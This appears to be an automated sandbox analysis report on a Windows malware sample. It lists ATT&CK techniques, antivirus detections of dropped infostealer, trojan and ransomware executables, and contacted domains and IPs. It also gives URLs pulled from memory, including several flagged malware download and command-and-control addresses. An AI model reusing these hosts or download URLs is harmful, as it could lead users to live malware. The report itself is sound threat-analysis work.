Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	11 Registry Run Keys / Startup Folder	2 Valid Accounts	/etc/passwd and /etc/shadow	11 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	461 Virtualization/Sandbox Evasion	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	21 Access Token Manipulation	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	12 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	55%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	24%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	39%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	45%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	24%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	55%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
http://185.215.113.16/off/random.exeb	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php95dA	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php/a	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpa4	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exe_	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
atten-supporse.biz	104.21.48.1	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
ipv4only.arpa	192.0.0.170	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
www.google.com	142.250.181.68	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
youtube.com	142.250.181.78	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
spocs.getpocket.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
formy-spill.biz	false	high
https://atten-supporse.biz/api	false	high
atten-supporse.biz	false	high
dwell-exclaim.biz	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2792299128.000002BA49CD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785432044.000001B8C5372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A786000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.o	firefox.exe, 00000018.00000002.2889544343.00002AF0BFD00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2889827871.000034BEA5600000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/ws	37df924488.exe, 00000009.00000002.2578174288.0000000001498000.00000004.00000020.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/spocs	firefox.exe, 00000018.00000002.2881483129.000002BA63435000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2857928108.000002BA5D0D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2825287749.000002BA5A231000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2737097313.000002BA61CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2871904573.000002BA61A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA5964A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2875505657.000002BA61CAF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 00000018.00000002.2827730700.000002BA5A461000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com	firefox.exe, 00000018.00000002.2809778465.000002BA57CE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2792299128.000002BA49C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000018.00000002.2839565999.000002BA5B5FD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B710000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B75A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2839565999.000002BA5B580000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841657939.000002BA5B852000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpa4	skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000018.00000002.2827730700.000002BA5A461000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2814174699.000002BA59800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000003.2658761411.000002BA59700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2660636691.000002BA5993C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2661028911.000002BA5995A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2821559085.000002BA59F56000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2661653128.000002BA59977000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/.	firefox.exe, 00000018.00000002.2889544343.00002AF0BFD00000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/0	firefox.exe, 00000018.00000002.2889544343.00002AF0BFD00000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshots	firefox.exe, 00000018.00000003.2659017231.000002BA5991F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2814174699.000002BA59800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000018.00000003.2658761411.000002BA59700000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2660636691.000002BA5993C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2661028911.000002BA5995A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2661653128.000002BA59977000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 00000018.00000002.2814321427.000002BA598A0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php95dA	skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ok.ru/	firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 00000018.00000002.2814321427.000002BA598A0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc	firefox.exe, 00000018.00000002.2842712823.000002BA5B9B6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	ae5cfd188c.exe, 00000007.00000003.2547024349.0000000005600000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2794739483.000002BA554AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2800920930.000002BA56B17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2785432044.000001B8C53C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A7F2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions	firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/random.exeb	skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2797233592.000002BA55A7D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	ae5cfd188c.exe, 00000007.00000003.2496735561.000000000561F000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2496918281.0000000005608000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2630590484.0000000005428000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2630411285.000000000543F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://MD8.mozilla.org/1/m	firefox.exe, 00000018.00000002.2852168506.000002BA5C4A3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bbc.co.uk/	firefox.exe, 00000018.00000002.2888920201.000026C2BC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled	firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2852168506.000002BA5C4BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A7C6000.00000004.00000800.00020000.00000000.sdmp	false		high
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	firefox.exe, 00000018.00000002.2837480713.000002BA5ADEA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 00000018.00000002.2842971512.000002BA5BA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813831095.000002BA597AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2842971512.000002BA5BA95000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mitmdetection.services.mozilla.com/	firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemsresource://gre/modul	firefox.exe, 00000018.00000002.2841148791.000002BA5B776000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/off/def.exe	ae5cfd188c.exe, 00000007.00000003.2751970018.0000000000C5C000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2752889103.0000000000C44000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2751970018.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 00000007.00000003.2752988072.0000000000C73000.00000004.00000020.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 00000018.00000002.2883372314.000002BA63796000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2864606177.000002BA5D403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2825287749.000002BA5A231000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2737097313.000002BA61CB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2813105068.000002BA59634000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2809778465.000002BA57C7C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2875505657.000002BA61CAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2784347261.000001AF5A712000.00000004.00000800.00020000.00000000.sdmp	false		high
https://atten-supporse.biz/	ae5cfd188c.exe, 0000000A.00000003.2787137785.0000000000C4A000.00000004.00000020.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2753582951.000000000543C000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2750675747.000000000543C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://ebay.comP	firefox.exe, 00000018.00000002.2886166420.0000180E51A04000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.iqiyi.com/	firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2883372314.000002BA63731000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/addonsFeatureGate	firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	false		high
http://mozilla.org/#/properties/addonsShowLessFrequentlyCap	firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2871904573.000002BA61A45000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.google.com/mail/?extsrc=mailto&url=%shttps://mail.google.com/mail/?extsrc=mailto&url=%s	firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	false		high
https://yandex.com	firefox.exe, 00000018.00000002.2886166420.0000180E51A04000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.duckduckgo.com/ac/_acquireAutoScrollWakeLock	firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php/a	37df924488.exe, 00000009.00000002.2578174288.0000000001498000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://monitor.firefox.com/about	firefox.exe, 00000018.00000002.2808472802.000002BA57200000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.2784350375.000001B8C5000000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000002.2783767744.000001AF5A5A0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://account.bellmedia.c	firefox.exe, 00000018.00000003.2737226174.000002BA5CF4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2854854049.000002BA5CF4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2728347300.000002BA5CF4F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.16/steam/random.exe_	skotes.exe, 00000006.00000002.2915523016.00000000006E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mail.yahoo.co.jp/compose/?To=%sgecko.handlerService.defaultHandlersVersionhttps://mail.inbox	firefox.exe, 00000018.00000002.2798630682.000002BA55E75000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com	firefox.exe, 00000018.00000003.2733288614.000002BA5C08B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2737226174.000002BA5CF4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2841148791.000002BA5B71B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2854854049.000002BA5CF4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2850287498.000002BA5C08B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2728347300.000002BA5CF4F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	firefox.exe, 00000018.00000002.2814321427.000002BA598A0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.zhihu.com/	firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	ae5cfd188c.exe, 00000007.00000003.2545472204.0000000005628000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2686850969.000000000544A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2871904573.000002BA61AC0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2839565999.000002BA5B52F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2852168506.000002BA5C4BA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	ae5cfd188c.exe, 00000007.00000003.2545472204.0000000005628000.00000004.00000800.00020000.00000000.sdmp, ae5cfd188c.exe, 0000000A.00000003.2686850969.000000000544A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2871904573.000002BA61AC0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2839565999.000002BA5B52F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000002.2852168506.000002BA5C4BA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 00000018.00000003.2777563699.000002BA61B40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2721713786.000002BA61B41000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold	firefox.exe, 00000018.00000002.2798630682.000002BA55EDE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/?t=ffab&q=	firefox.exe, 00000018.00000002.2881483129.000002BA63435000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.all	ae5cfd188c.exe, 0000000A.00000003.2689925143.0000000005531000.00000004.00000800.00020000.00000000.sdmp	false		high
